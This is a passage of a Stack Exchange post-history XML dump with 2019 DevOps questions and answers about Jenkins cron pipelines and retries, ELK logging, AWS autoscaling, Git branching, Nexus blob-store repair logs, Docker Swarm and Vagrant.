https://docs.microsoft.com/en-us/aspnet/core/fundamentals/logging/?view=aspnetcore-2.2#third-party-logging-providers&#xD;&#xA;  [2]: https://serilog.net&#xD;&#xA;  [3]: https://github.com/serilog/serilog-sinks-elasticsearch" ContentLicense="CC BY-SA 4.0" />
  <row Id="26295" PostHistoryTypeId="5" PostId="8948" RevisionGUID="0bc82d2d-caa3-490e-a808-44a8e4d21bd7" CreationDate="2019-08-22T12:44:28.083" UserId="16683" Comment="deleted 1 character in body" Text="It's possible and pretty simple to do this with Jenkins. Here is a sample pipeline:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;&#xD;&#xA;    triggers {&#xD;&#xA;        cron('*/5 * * * *')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('Health checker') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'curl https://mywebsite.com'&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            post {&#xD;&#xA;                failure {&#xD;&#xA;                    mail to: 'notify-list@example.com',&#xD;&#xA;                        from: 'jenkins@example.com',&#xD;&#xA;                        subject: &quot;${env.JOB_NAME} - Failed&quot;,&#xD;&#xA;                        body: &quot;Job Failed&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26296" PostHistoryTypeId="5" PostId="8960" RevisionGUID="8879208d-40e1-4645-a7cb-3ea787bbfc4e" CreationDate="2019-08-22T12:53:59.227" UserId="16683" Comment="deleted 1 character in body" Text="This pipeline will run each day at 1 AM. It'll restart if the build fails.&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;&#xD;&#xA;    triggers {&#xD;&#xA;        cron('0 1 * * *')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage ('Build') {&#xD;&#xA;            when {&#xD;&#xA;                expression {&#xD;&#xA;                    // When last build has failed&#xD;&#xA;                    !hudson.model.Result.SUCCESS.equals(currentBuild.rawBuild.getPreviousBuild()?.getResult()) == true&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            steps {&#xD;&#xA;                sh &quot;./myjob.sh&quot;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            post {&#xD;&#xA;                failure {&#xD;&#xA;                    // If the current job has failed, trigger it without&#xD;&#xA;                    // waiting.&#xD;&#xA;                    build job: &quot;${JOB_NAME}&quot;, wait: false&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you want to wait before to re-trigger the job, you can add the option `quietPeriod: (seconds)` to the `build` step (https://jenkins.io/doc/pipeline/steps/pipeline-build-step/).&#xD;&#xA;&#xD;&#xA;You might have to add these methods to the scriptApproval:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Wi1Ke.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26302" PostHistoryTypeId="5" PostId="8936" RevisionGUID="dd9e1596-6f57-4792-b84f-8120c33efcf5" CreationDate="2019-08-22T14:02:19.730" UserId="7917" Comment="Copy edited. Jeopardy compliance." Text="I'm trying to set up a way to constantly monitor a website that is built and deployed via Jenkins. A simple curl command would tell me if everything is OK, but how I would set up a job to do this every ~10 minutes? &#xD;&#xA;&#xD;&#xA;Or would this be a bad idea?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26303" PostHistoryTypeId="24" PostId="8936" RevisionGUID="dd9e1596-6f57-4792-b84f-8120c33efcf5" CreationDate="2019-08-22T14:02:19.730" Comment="Proposed by 7917 approved by 16667 edit id of 1055" ContentLicense="CC BY-SA 4.0" />
  <row Id="26311" PostHistoryTypeId="50" PostId="6359" RevisionGUID="4663bb2b-0f7b-47ec-827e-2e5506e00a55" CreationDate="2019-08-22T16:02:00.227" UserId="-1" />
  <row Id="26313" PostHistoryTypeId="5" PostId="8958" RevisionGUID="f790948c-e02c-4402-8f24-3146aa127941" CreationDate="2019-08-22T16:43:04.637" UserId="7917" Comment="Copy edited. Applied some formatting according to the original intent in the Markdown source. Jeopardy compliance." Text="We have got test automation in Jenkins, and we would like to execute it at midnight.&#xD;&#xA;&#xD;&#xA;But sometimes it fails, and sometimes it passes. Our idea is to execute the daily builds from 1:00 AM until it is green. How we can execute a job until it is green?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA; * Execute job at 1:00&#xD;&#xA; * Execute job at 2:00 if the previous is green, etc.&#xD;&#xA;&#xD;&#xA;We can run it hourly, but how is it possible to insert the condition?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26314" PostHistoryTypeId="4" PostId="8958" RevisionGUID="f790948c-e02c-4402-8f24-3146aa127941" CreationDate="2019-08-22T16:43:04.637" UserId="7917" Comment="Copy edited. Applied some formatting according to the original intent in the Markdown source. Jeopardy compliance." Text="How to execute a Jenkins job until the build is green" ContentLicense="CC BY-SA 4.0" />
  <row Id="26315" PostHistoryTypeId="24" PostId="8958" RevisionGUID="f790948c-e02c-4402-8f24-3146aa127941" CreationDate="2019-08-22T16:43:04.637" Comment="Proposed by 7917 approved by 707, 40 edit id of 1056" ContentLicense="CC BY-SA 4.0" />
  <row Id="26316" PostHistoryTypeId="5" PostId="8943" RevisionGUID="314e936b-48f6-4dc1-9757-35f6f63a6c8c" CreationDate="2019-08-22T16:45:07.380" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/.NET_Framework#.NET_Core&gt;, &lt;http://en.wikipedia.org/wiki/Elasticsearch&gt;, and &lt;http://en.wikipedia.org/wiki/JSON&gt;)." Text="I have a ballpark idea of how the ELK stack works. I read that by default, standard output is captured and that output will make its way to the Elasticsearch repository. If I post something to stdout, that content piece will be when visualized with Kibana in one field called &quot;message&quot;.&#xD;&#xA;&#xD;&#xA;So, besides the title which was anyway getting too long, here's the additional ask. How do I send a structured message, JSON I guess? How do I configure it? I read that it is possible, but I have some difficulties piecing it together. There's something about a JSON template that needs to be registered somewhere, but I lack a clear example.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26317" PostHistoryTypeId="4" PostId="8943" RevisionGUID="314e936b-48f6-4dc1-9757-35f6f63a6c8c" CreationDate="2019-08-22T16:45:07.380" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/.NET_Framework#.NET_Core&gt;, &lt;http://en.wikipedia.org/wiki/Elasticsearch&gt;, and &lt;http://en.wikipedia.org/wiki/JSON&gt;)." Text="What piece of software is responsible of shipping to ElasticSearch the standard output of a .NET Core web application running in a container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26318" PostHistoryTypeId="24" PostId="8943" RevisionGUID="314e936b-48f6-4dc1-9757-35f6f63a6c8c" CreationDate="2019-08-22T16:45:07.380" Comment="Proposed by 7917 approved by -1 edit id of 1052" ContentLicense="CC BY-SA 4.0" />
  <row Id="26319" PostHistoryTypeId="4" PostId="8943" RevisionGUID="5a0fef62-435b-4e28-8f75-a211e2f40bfc" CreationDate="2019-08-22T16:45:07.380" UserId="40" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/.NET_Framework#.NET_Core&gt;, &lt;http://en.wikipedia.org/wiki/Elasticsearch&gt;, and &lt;http://en.wikipedia.org/wiki/JSON&gt;)." Text="What software ihandles shipping to ElasticSearch the standard output of a .NET Core web application running in a container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26320" PostHistoryTypeId="5" PostId="8929" RevisionGUID="33a3b744-6944-41f5-93c5-5345e16ff6f3" CreationDate="2019-08-22T16:46:15.620" UserId="7917" Comment="Copy edited (e.g. ref. &lt;http://en.wikipedia.org/wiki/Amazon_Web_Services&gt;)." Text="If I set autoscaling for an EC2 instance in Amazon Web Services, how can I set optimized autoscaling for large numbers of connections in order to avoid unusual autoscaling?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26321" PostHistoryTypeId="4" PostId="8929" RevisionGUID="33a3b744-6944-41f5-93c5-5345e16ff6f3" CreationDate="2019-08-22T16:46:15.620" UserId="7917" Comment="Copy edited (e.g. ref. &lt;http://en.wikipedia.org/wiki/Amazon_Web_Services&gt;)." Text="How do I avoid a high number of requests for avoiding Amazon AWS EC2 instance AutoScalin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26322" PostHistoryTypeId="24" PostId="8929" RevisionGUID="33a3b744-6944-41f5-93c5-5345e16ff6f3" CreationDate="2019-08-22T16:46:15.620" Comment="Proposed by 7917 approved by -1 edit id of 1053" ContentLicense="CC BY-SA 4.0" />
  <row Id="26323" PostHistoryTypeId="4" PostId="8929" RevisionGUID="3d9ef108-7bc1-40ec-adc4-e7983762c1f8" CreationDate="2019-08-22T16:46:15.620" UserId="40" Comment="edited title" Text="How to avoid a high number of requests for avoiding Amazon AWS EC2 instance AutoScalin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26324" PostHistoryTypeId="50" PostId="5061" RevisionGUID="49d2df92-641c-4fb7-a6e5-4fcfa107305b" CreationDate="2019-08-22T19:00:50.150" UserId="-1" />
  <row Id="26325" PostHistoryTypeId="2" PostId="8968" RevisionGUID="8b84eab2-ca62-426c-841c-8ae4bc3d5dc8" CreationDate="2019-08-22T21:13:37.497" UserId="16713" Text="We have tried multiple branching strategies to adopt CI/CD. &#xD;&#xA;&#xD;&#xA; 1. Developers develop on the feature branch and then merging to master which get deployed to QA for testing and then master is deployed to production, so in short whatever goes out to QA/UAT goes out to production unless you put a create a PR/patch to fix the bug - Least hassle of merging, syncing etc.&#xD;&#xA; &#xD;&#xA; 2. Developers develop on the feature branch and then merge to master which gets deployed to QA/UAT for testing and based on the testing outcome, spin out a release branch for things which needs to be deployed to Production. &#xD;&#xA;&#xD;&#xA;What are the recommendations in case of organizations with 50 odd devs and  spread across ~8 scrum teams?&#xD;&#xA;&#xD;&#xA;Remember, we always have feature flags to toggle the releases and features pushed out. " ContentLicense="CC BY-SA 4.0" />
  <row Id="26326" PostHistoryTypeId="1" PostId="8968" RevisionGUID="8b84eab2-ca62-426c-841c-8ae4bc3d5dc8" CreationDate="2019-08-22T21:13:37.497" UserId="16713" Text="Git Release branching strategy for Continuous integration and deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="26327" PostHistoryTypeId="3" PostId="8968" RevisionGUID="8b84eab2-ca62-426c-841c-8ae4bc3d5dc8" CreationDate="2019-08-22T21:13:37.497" UserId="16713" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;continuous-deployment&gt;&lt;release-management&gt;&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26329" PostHistoryTypeId="5" PostId="8959" RevisionGUID="207495ba-276f-46bd-86fa-359a9a444203" CreationDate="2019-08-22T22:23:55.493" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Sentence_clause_structure#Run-on_(fused)_sentences&gt; and &lt;https://en.wikipedia.org/wiki/Amazon_CloudFront&gt;)." Text="First of all, the number of connections is not a common metric to use for autoscaling. Much more common is CPU utilization or possibly the amount of network traffic.&#xD;&#xA;&#xD;&#xA;If you are happy with the performance of your application at a certain utilization level, you can modify the corresponding alarms configured in the auto-scaling group, so that autoscaling happens only at higher levels of your metric.&#xD;&#xA;&#xD;&#xA;Secondly, you can limit auto-scaling to a certain number of instances. When this number is reached, no further scaling will occur.&#xD;&#xA;&#xD;&#xA;Finally, if your traffic has a significant proportion of GET requests, it may be easiest to ensure caching headers are set appropriately and traffic is routed through a [CloudFront][1] distribution before it reaches the load balancer. This will likely eliminate most of the GET requests from the load balancer altogether.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Amazon_CloudFront&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26330" PostHistoryTypeId="24" PostId="8959" RevisionGUID="207495ba-276f-46bd-86fa-359a9a444203" CreationDate="2019-08-22T22:23:55.493" Comment="Proposed by 7917 approved by 40, 8251 edit id of 1054" ContentLicense="CC BY-SA 4.0" />
  <row Id="26331" PostHistoryTypeId="2" PostId="8969" RevisionGUID="93deb1f4-bb7d-4f0a-9945-36a42c7bdbfa" CreationDate="2019-08-23T05:27:41.777" UserId="16683" Text="According to the [documentation](https://jenkins.io/doc/book/pipeline/syntax/#when), the `when` directive is only allowed inside a `stage`. You have to use the `script` directive if you want to use conditional statements:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;post {&#xD;&#xA;  always {&#xD;&#xA;    script {&#xD;&#xA;      if (DeleteStack == 'true') {&#xD;&#xA;        // Destroy what you want !&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26332" PostHistoryTypeId="2" PostId="8970" RevisionGUID="cffc90bd-e129-47c5-b68d-3911b04c26fc" CreationDate="2019-08-23T06:15:57.070" UserId="10356" Text="We have a nexus 3.12.1 and its daily storing hundreds of artifacts which are build from Jenkins. The problem is there are too many files present in blob store are not showing in Nexus Console. Actually we don't want these files but that is filling up too much disk space. We ran all cleanup tasks on all of the repositories, but it is not cleaning the artifacts present in blob-store.   &#xD;&#xA;&#xD;&#xA;So our approach is to first run the task &quot;Repair - Reconcile component database from blob store job&quot; and then &quot;Remove snapshots from Maven repository&quot;  &#xD;&#xA;&#xD;&#xA;We have **dry run** the task &quot;Repair - Reconcile component database from blob store job&quot;. The output of the log files is of 105079 lines, took ~15 min and we got only 2 warnings (no errors).&#xD;&#xA;&#xD;&#xA;    cat blobstore.rebuildComponentDB-20190823042827074.log | grep -v INFO&#xD;&#xA;    2019-08-23 04:33:04,902+0000 WARN  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.maven.internal.MavenRestoreBlobStrategy - Skipping as no maven coordinates found and is not maven metadata&#xD;&#xA;    2019-08-23 04:33:39,633+0000 WARN  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.maven.internal.MavenRestoreBlobStrategy - Skipping as no maven coordinates found and is not maven metadata&#xD;&#xA;&#xD;&#xA;And summery logs are as below:&#xD;&#xA;&#xD;&#xA;    .......&lt;truncated text&gt;........&#xD;&#xA;    2019-08-23 04:37:43,653+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.maven.internal.MavenRestoreBlobStrategy - ::DRY RUN:: Restored asset, blob store: default, repository: snapshots, path: com/CMP/MODULE/FUNCTION/ui/MODULE-FUNCTION-ui/2.14.2-SNAPSHOT/MODULE-FUNCTION-ui-2.14.2-20190502.152829-43.pom.md5, blob name: com/CMP/MODULE/FUNCTION/ui/MODULE-FUNCTION-ui/2.14.2-SNAPSHOT/MODULE-FUNCTION-ui-2.14.2-20190502.152829-43.pom.md5, blob id: bf5327dd-e386-4fc4-a625-9da968e99f64&#xD;&#xA;    2019-08-23 04:37:43,666+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.RestoreMetadataTask - ::DRY RUN:: Elapsed time: 9.276 min, processed: 376782, un-deleted: 0&#xD;&#xA;    2019-08-23 04:37:43,675+0000 INFO  [quartz-5-thread-20]  *SYSTEM com.sonatype.nexus.blobstore.restore.internal.NugetIntegrityCheckStrategy - Checking integrity of assets in repository 'r1' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,676+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r2-repo' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,681+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 4.655 ms, processed: 8, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:37:43,681+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r3-release' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,726+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 44.85 ms, processed: 49, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:37:43,726+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'thirdparty-software' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,754+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 28.02 ms, processed: 45, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:37:43,754+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r4-repo' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,755+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r5-snapshots' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,756+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'java.net' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,758+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 2.017 ms, processed: 2, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:37:43,759+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r5-central' with blob store 'special'&#xD;&#xA;    2019-08-23 04:37:43,759+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'central' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:25,568+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 41.81 s, processed: 63965, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:38:25,568+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r6-snapshots' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:25,728+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 159.6 ms, processed: 226, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:38:25,728+0000 INFO  [quartz-5-thread-20]  *SYSTEM com.sonatype.nexus.blobstore.restore.internal.NugetIntegrityCheckStrategy - Checking integrity of assets in repository 'r7-hosted' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:25,730+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r4-release' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:25,731+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r8am' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:25,735+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 4.032 ms, processed: 2, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:38:25,735+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r9-tech' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:26,495+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 760.0 ms, processed: 1112, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:38:26,495+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r5-releases' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:26,496+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r10-snapshot-repository' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:26,583+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 86.39 ms, processed: 100, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:38:26,583+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r11-json' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:26,587+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'thirdparty' with blob store 'special'&#xD;&#xA;    2019-08-23 04:38:29,632+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 3.045 s, processed: 2379, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:38:29,632+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'releases' with blob store 'special'&#xD;&#xA;    2019-08-23 04:39:29,639+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 1.000 min, processed: 83253, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:39:37,551+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 1.132 min, processed: 94146, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:39:37,552+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'download.java.net' with blob store 'special'&#xD;&#xA;    2019-08-23 04:39:37,553+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'snapshots' with blob store 'special'&#xD;&#xA;    2019-08-23 04:40:37,554+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 1.000 min, processed: 83879, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:40:42,787+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 1.087 min, processed: 90913, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:40:42,787+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r12-repository' with blob store 'special'&#xD;&#xA;    2019-08-23 04:40:42,935+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 148.3 ms, processed: 180, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:40:42,936+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r13-snapshots' with blob store 'special'&#xD;&#xA;    2019-08-23 04:40:42,944+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 8.752 ms, processed: 1, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:40:42,945+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Checking integrity of assets in repository 'r3-milestone' with blob store 'special'&#xD;&#xA;    2019-08-23 04:40:43,136+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.DefaultIntegrityCheckStrategy - Elapsed time: 190.9 ms, processed: 234, failed integrity check: 0&#xD;&#xA;    2019-08-23 04:40:43,136+0000 INFO  [quartz-5-thread-20]  *SYSTEM org.sonatype.nexus.blobstore.restore.RestoreMetadataTask - Task complete&#xD;&#xA;&#xD;&#xA;Actually I am new to nexus and I don't understand what it says.   &#xD;&#xA;eg. *Elapsed time: 1.132 min, processed: 94146, failed integrity check: 0* : Will it restores 94146 files?   &#xD;&#xA;And looking into the logs above, is it safe to run this task? And will we need any downtime for this?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26333" PostHistoryTypeId="1" PostId="8970" RevisionGUID="cffc90bd-e129-47c5-b68d-3911b04c26fc" CreationDate="2019-08-23T06:15:57.070" UserId="10356" Text="Is it safe to run &quot;Repair - Reconcile component database from blob store job&quot; in Nexus 3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26334" PostHistoryTypeId="3" PostId="8970" RevisionGUID="cffc90bd-e129-47c5-b68d-3911b04c26fc" CreationDate="2019-08-23T06:15:57.070" UserId="10356" Text="&lt;nexus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26335" PostHistoryTypeId="2" PostId="8971" RevisionGUID="91f38b30-1b6f-4874-b6f1-ddc9ecd946de" CreationDate="2019-08-23T07:10:48.370" UserId="210" Text="First of all, a job should always be green on the first run in my opinion. I know that it can be very difficult, but every issue should be solved. That having said, we have also some jobs that get green after 5 retries. It are selenium tests that are very brittle and we do not get the time to fix them. Once a `retry` was added the builds are green for a couple of months now:&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/book/pipeline/syntax/&#xD;&#xA;&#xD;&#xA;&gt; retry&#xD;&#xA;&gt; &#xD;&#xA;&gt;     On failure, retry the entire Pipeline the specified number of times. For&#xD;&#xA;    example: options { retry(3) }&#xD;&#xA;&#xD;&#xA;I prefer a `retry` as it will only restart the job if there is a failure over `cron` as it does not check previous failures." ContentLicense="CC BY-SA 4.0" />
  <row Id="26336" PostHistoryTypeId="2" PostId="8972" RevisionGUID="d33303d1-b617-46df-ad5f-736bd755cff8" CreationDate="2019-08-23T08:39:27.523" UserId="16683" Text="You can use the [docker-swarm-plugin](https://github.com/jenkinsci/docker-swarm-plugin)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26337" PostHistoryTypeId="2" PostId="8973" RevisionGUID="1ea9da9b-f025-4cc4-9207-9f86e491632e" CreationDate="2019-08-23T09:47:18.027" UserId="16642" Text="You can run your application on a particular node of the cluster by defining it in the application level. For this, you need to add the &quot;placement &quot; parameter in the yaml file and specify the node's name to it, then it will deploy the container on that node. &#xD;&#xA;&#xD;&#xA;Secondly, what type of scheduling have you implemented on Swarm CLuster? Let me clear your thought, there three of them: Spread, Bin-pack, and Random. By default, it is Spread, which identifies a number of containers on each node and deploys the new container on the node that has a small number of containers. Check the rest yourself.&#xD;&#xA;&#xD;&#xA;Both of these points will solve your problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="26343" PostHistoryTypeId="2" PostId="8975" RevisionGUID="4d217bc2-9507-4ac7-bfd2-9fae4c42fbee" CreationDate="2019-08-23T14:44:36.643" UserId="16661" Text="Versions&#xD;&#xA;Vagrant: 1.9.5&#xD;&#xA;Provider: Virtualbox 5.2.30&#xD;&#xA;Guest: precise32&#xD;&#xA;Host: windows 7 -32bit, build:7600&#xD;&#xA;Powershell: 2.0&#xD;&#xA;Vagrant destroy &amp; up output&#xD;&#xA;nothing happens here...just an empty directory &quot; .vagrant &quot; is being created&#xD;&#xA;&#xD;&#xA;Expected behavior:&#xD;&#xA;virtualbox should be picked up by vagrant&#xD;&#xA;&#xD;&#xA;Actual behavior:&#xD;&#xA;Cursor blinks ..that's it&#xD;&#xA;nothing happens on -&gt; vagrant up and on -&gt; vagrant global-status -&gt;it shows &quot;There are no active Vagrant environments on this computer! &quot;&#xD;&#xA;&#xD;&#xA;##possible reasons for this behavior&#xD;&#xA;I thinks there are some version dependecies between vagrant, virtualbox &amp; powershell. I dont know i'm just guessing..&#xD;&#xA;&#xD;&#xA;##NOTE: I have read numerous official docs and similar previous issue.., nothing worked. when vagrant up command is issued, it does nothing, the cursor keeps blinking forever.&#xD;&#xA;&#xD;&#xA;##NOTE: I know this is dumb question, i can use latest releases but is there anything i can do with this setup&#xD;&#xA;&#xD;&#xA;  [![enter image description here][1]][1]&#xD;&#xA;  [1]: https://i.stack.imgur.com/LQ5U4.jpg" ContentLicense="CC BY-SA 4.0" />
